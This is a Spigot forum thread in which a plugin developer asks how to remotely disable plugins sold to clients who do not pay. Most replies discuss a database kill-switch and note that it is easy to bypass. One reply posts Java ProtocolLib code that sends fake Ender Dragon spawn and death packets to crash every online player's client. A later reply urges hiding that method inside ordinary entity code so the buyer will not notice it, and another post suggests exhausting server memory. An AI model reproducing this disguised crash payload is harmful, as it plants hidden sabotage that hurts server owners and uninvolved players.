Solved Remote plugin disabler? How to make?

Discussion in 'Spigot Plugin Development' started by Super02, Jun 23, 2018.

?

What is the best way to protect code?

  1. Obfuscation

    0 vote(s)
    0.0%
  2. Remote disabeling

    11.1%
  3. Obfuscating and Remote Disabeler :) (Also think of the time it may take to make)

    33.3%
  4. Other. type what :)

    55.6%
  1. Hello, I'm developing plugins for some people. (Not on spigot) and I'm wondering if there is a way to implement something so I can from my computer make the plugin unusable if things happen like they didn't pay or something? Also is this legal to do?
     
  2. You can make some sort of database which your plugin connects to on startup and if the IP of the server (or some other unique identification system) is found in the database, it will disable itself.

    About your legal question, I have no idea, contact someone who's specialized in that field (e.g. a lawyer).
     
    • Useful Useful x 1
  3. I think it is 100% legal as long as you don't put hacking stuff in your remote control.
     
    • Informative Informative x 1
  4. Optic_Fusion1

    Resource Staff

    Honestly? don't bother, it wouldn't take long to bypass something like this
     
    • Friendly Friendly x 1
  5. Optic_Fusion1

    Resource Staff

    You should of mentioned that this however can be bypassed
     
  6. Make them pay before you ship the them the plugin.
     
    • Like Like x 1
  7. Yes, but if they chargeback it would be nice to be able to disable their plugin
     
  8. They should not win that charge back if they received the product, and if they do, just make sure that other people know what this person is up to.
     
  9. Really don't even try, it takes a second to decompile the code search the method that disables the plugin and cancel it
     
    • Winner Winner x 1
  10. Optic_Fusion1

    Resource Staff

    Which is exactly how plugins currently get leaked, when i last did it to prove a point i believe it took 1 minute 45 just to remove the basic spigot anti-piracy protection, something like this would take just as long, if not a little longer
     
  11. You can still make thedecompiler crush in some way I wish(wtf am i saying?)
     
  12. Optic_Fusion1

    Resource Staff

    eh, possibly, however in the case of a database, you could probably just block connections to it or something similar
     
  13.  
  14. Optic_Fusion1

    Resource Staff

    didn't realize that, but in that case, what op wants will probably work as long as it does nothing malicious, however again the person could easily disable the protection if they really wanted to
     
  15. Or(think it's illegal) you can make their server crush creating something that just uses all the memory of their server
     
  16. Optic_Fusion1

    Resource Staff

    probably is, and even that could get bypassed
     
  17. Or you can make all the player just crush using this code:
    Code (Text):
    public void forceCloseClient() {
        for(Player p : Bukkit.getOnlinePlayers()){
        Location l = p.getLocation();
        Packet18SpawnMob spawn = new Packet18SpawnMob();
        spawn.setEntityID(fake_UUID);
        spawn.setType(EntityType.ENDER_DRAGON);
        spawn.setX(l.getX());
        spawn.setY(l.getY());
        spawn.setZ(l.getZ());
        spawn.setPitch(l.getPitch());
        spawn.setYaw(l.getYaw());
        spawn.setHeadYaw(l.getYaw());
        spawn.setVelocityX(0);
        spawn.setVelocityY(0);
        spawn.setVelocityZ(0);

        Packet26EntityStatus packet = new Packet26EntityStatus();
        packet.setEntityId(fake_UUID);
        packet.setEntityStatus(Status.ENTITY_DEAD);

        fake_UUID++;

        try {
            ProtocolLibrary.getProtocolManager().sendServerPacket(p, spawn.getHandle());
            ProtocolLibrary.getProtocolManager().sendServerPacket(p, packet.getHandle());
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }
      }
    }
    https://www.spigotmc.org/threads/how-to-crash-a-client.222274/
     
  18. Optic_Fusion1

    Resource Staff

    okay? just comment out/remove any code that calls that method
     
  19. Yes but it's harder fopr someone to understand that that code makes the client crush. Just insert it in a class where you spawn an entity and they are gonna think that it's for that entity
     
  20. Optic_Fusion1

    Resource Staff

    "public void forceCloseClient() {"
    if you were to copy paste the entire method